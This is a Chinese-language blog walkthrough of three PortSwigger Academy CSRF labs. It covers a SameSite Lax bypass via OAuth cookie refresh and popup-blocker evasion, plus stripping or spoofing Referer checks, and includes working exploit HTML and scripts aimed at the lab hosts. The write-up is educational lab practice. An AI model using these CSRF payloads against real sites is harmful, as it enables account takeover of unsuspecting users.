Burp Web Academy CSRF 跨站请求伪造(三)
0x01. PortSwigger Web Security Academy
PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。
本篇文章讲解 Web Security Academy 之中的跨站请求伪造(CSRF,Cross-site request forgery)章节。
0x02. CSRF
2.1 Lab: SameSite Lax bypass via cookie refresh
This lab’s change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim’s email address. You should use the provided exploit server to host your attack.
The lab supports OAuth-based login. You can log in via your social media account with the following credentials:
wiener:peter
先登录进去,然后尝试修改 Email,对应的 HTTP 请求包如下:
1 | POST /my-account/change-email |
可以看到,没有 CSRF 防御机制。此时,往回查找 Cookie 的设置,发现是 /oauth-callback
设置的:
1 | GET /oauth-callback?code=kq3Hxh2OungnyMxEAWgEGpl7RMIl-Sl-sNDYmgnIJon |
且 Set-Cookie
没有指明 SameSite
策略,浏览器会使用默认的 Lax
策略(关于 Lax
策略的解释可以参考 Burp Web Academy CSRF 跨站请求伪造):
Lax
意味着 Cookie 不会在跨站请求中被发送,如:加载图像或框架(frame)的请求。但 Cookie 在用户从外部站点导航到源站时,Cookie 也会被发送(例如,访问一个链接)。这是SameSite
属性未被设置时的默认行为。
1 | 200 OK |
于是,直接构造如下 Exploit:
1 | <form action=https://0aee003a03c37b8a813b20d900bf005d.web-security-academy.net/my-account/change-email method=POST> |
连续访问两次,就可以修改受害者的 Email。虽然解决了问题,但是没有弄明白到底怎么 回事。官方参考答案如下:
Bypass the SameSite restrictions
In the browser, notice that if you visit
/social-login
, this automatically initiates the full OAuth flow. If you still have a logged-in session with the OAuth server, this all happens without any interaction.From the proxy history, notice that every time you complete the OAuth flow, the target site sets a new session cookie even if you were already logged in.
Go back to the exploit server.
Change the JavaScript so that the attack first refreshes the victim’s session by forcing their browser to visit
/social-login
, then submits the email change request after a short pause. The following is one possible approach:
1
2
3
4
5
6
7
8
9
10
11 <form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>
window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
function changeEmail(){
document.forms[0].submit();
}
</script>Note that we’ve opened the
/social-login
in a new window to avoid navigating away from the exploit before the change email request is sent.Store and view the exploit yourself. Observe that the initial request gets blocked by the browser’s popup blocker.
Observe that, after a pause, the CSRF attack is still launched. However, this is only successful if it has been less than two minutes since your cookie was set. If not, the attack fails because the popup blocker prevents the forced cookie refresh.
Bypass the popup blocker
Realize that the popup is being blocked because you haven’t manually interacted with the page.
Tweak the exploit so that it induces the victim to click on the page and only opens the popup once the user has clicked. The following is one possible approach:
1
2
3
4
5
6
7
8
9
10
11
12
13
14 <form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>Test the attack on yourself again while monitoring the proxy history in Burp.
When prompted, click the page. This triggers the OAuth flow and issues you a new session cookie. After 5 seconds, notice that the CSRF attack is sent and the
POST /my-account/change-email
request includes your new session cookie.Go to your account page and confirm that your email address has changed.
Change the email address in your exploit so that it doesn’t match your own.
Deliver the exploit to the victim to solve the lab.
简单说,CSRF 利用需要解决两个问题:
- Cookie 可能过期了,此时只要 OAuth 的 session 还有效,访问
/social-login
会自动刷新 Cookie - 为了刷新 Cookie 之后继续执行表单提交动作,需要借助
window.open
打开/social-login
,但是由于没有用户交互,弹窗会被拦截- 通过
window.onclick
响应页面上的任意点击事件,实现绕过浏览器对window.open
的拦截 - Hint 提示受害者会点击任何访问的页面(在页面点击鼠标对于真实攻击场景也是合理的)
- 通过
2.2 Lab: CSRF where Referer validation depends on header being present
This lab’s email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.
You can log in to your own account using the following credentials:
wiener:peter
登录之后的 Cookie 设置为 SameSite=None; Secure
,如下所示:
1 | 302 Found |
因此,任何请求的发送都会带上 Cookie,先简单测试 CSRF 攻击:
1 | <form action=https://0a9600c704b4c6f0801603b900980019.web-security-academy.net/my-account/change-email method=POST> |
访问后提示 "Invalid referer header"
,结合题目的标题,看起来是对 Referer
进行了校验。然而 Referer
是 Forbidden request header
,浏览器是不允许对其进行修改的:
A forbidden request header is an HTTP header name-value pair that cannot be set or modified programmatically in a request. For headers forbidden to be modified in responses, see forbidden response header name.
Modifying such headers is forbidden because the user agent retains full control over them.
不能修改,可以尝试禁止添加 Referer。问了下 Copilot,发现有多种方法:
- 可以利用
<a>
标签或者<form>
的target="_blank"
让 Referer 为空 - 通过
meta
标签影响页面 Referer 发送策略
一个可行的利用代码如下所示:
1 | <meta name="referrer" content="no-referrer"> |
2.3 Lab: CSRF with broken Referer validation
This lab’s email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.
You can log in to your own account using the following credentials:
wiener:peter
看起来跟上一题差不多,先直接测试利用代码:
1 | <meta name="referrer" content="no-referrer"> |
即使 Referer
不在,也会提示 "Invalid referer header"
。需要绕过检测逻辑,但是并不知道检测逻辑的细节。
对 Referer
的检查应该是严谨的,否则很容易被绕过,参考 Cross-Site Request Forgery Prevention - OWASP Cheat Sheet Series:
Checking the Origin Header
If the Origin header is present, verify that its value matches the target origin. Unlike the referer, the Origin header will be present in HTTP requests that originate from an HTTPS URL.
Checking the Referer Header if Origin Header Is Not Present
If the Origin header is not present, verify that the hostname in the Referer header matches the target origin. This method of CSRF mitigation is also commonly used with unauthenticated requests, such as requests made prior to establishing a session state, which is required to keep track of a synchronization token.
In both cases, make sure the target origin check is strong. For example, if your site is
example.org
make sureexample.org.attacker.com
does not pass your origin check (i.e, match through the trailing / after the origin to make sure you are matching against the entire origin).
如果不是严格的 Host 匹配,可能会被绕过,存在如下情形:
- 仅匹配前缀,可以通过子域名来绕过
- 仅匹配包含,可以通过 URL 参数来绕过
对于 URL 参数,可以借助 history.pushState
来实现:
1 | <form action=https://0a96008804e043d38242153b000e00af.web-security-academy.net/my-account/change-email method=POST> |
但测试发现,URL 中的参数没有生效:
1 | POST /my-account/change-email |
需要设置 Referrer-Policy header,可直接通过 <meta>
标签设置(注意名称是 referrer
,多了一个 r
):
1 | <meta name="referrer" content="unsafe-url" /> |
0x03. 总结
- SameSite 策略(Strict、Lax、None)
- 浏览器对
window.open
的拦截和绕过机制 - 浏览器不允许代码修改或自定义
Referer
,但是可以让Referer
为空 - 基于
Origin
或者Referer
检查请求来源,以防御 CSRF 攻击- 可能存在的问题及绕过方式
- 通过
history.pushState
部分修改Referer
Referrer-Policy
的设置方式
0x04. 参考文档
- https://portswigger.net/web-security/all-labs#cross-site-request-forgery-csrf
- https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_request_header
- https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy